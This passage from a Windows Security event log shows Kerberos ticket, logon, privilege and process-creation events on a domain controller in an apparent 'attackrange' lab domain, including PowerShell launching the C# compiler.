auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252994 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252993 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C16 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252992 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C16 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252991 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C16 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252990 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252989 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252988 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252987 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1834FD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252986 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x182DF6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252985 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181BB6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10e4 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESA04E.tmp" "c:\Users\Administrator\AppData\Local\Temp\yahv4kuc\CSCEE0255C22404A30805834C11691645E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x121c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\yahv4kuc\yahv4kuc.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252982 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x183718 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64664 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252981 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x183718 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252980 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9F25.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC8D17EC4A4C554771B6D51440E56D9F46.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252979 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1834FD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252978 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1834FD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252977 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252976 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {9C3A0786-1CD4-A3A1-9082-1792EACCF1B2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252975 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x181515 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x121c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\f4w24tfs.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253028 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x183C8B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xff4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\jvgdwpmb.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253027 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185428 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253026 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x185428 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253025 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253024 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B90453B2-FC94-FF53-F1A0-C2D85BF8603A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253023 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - 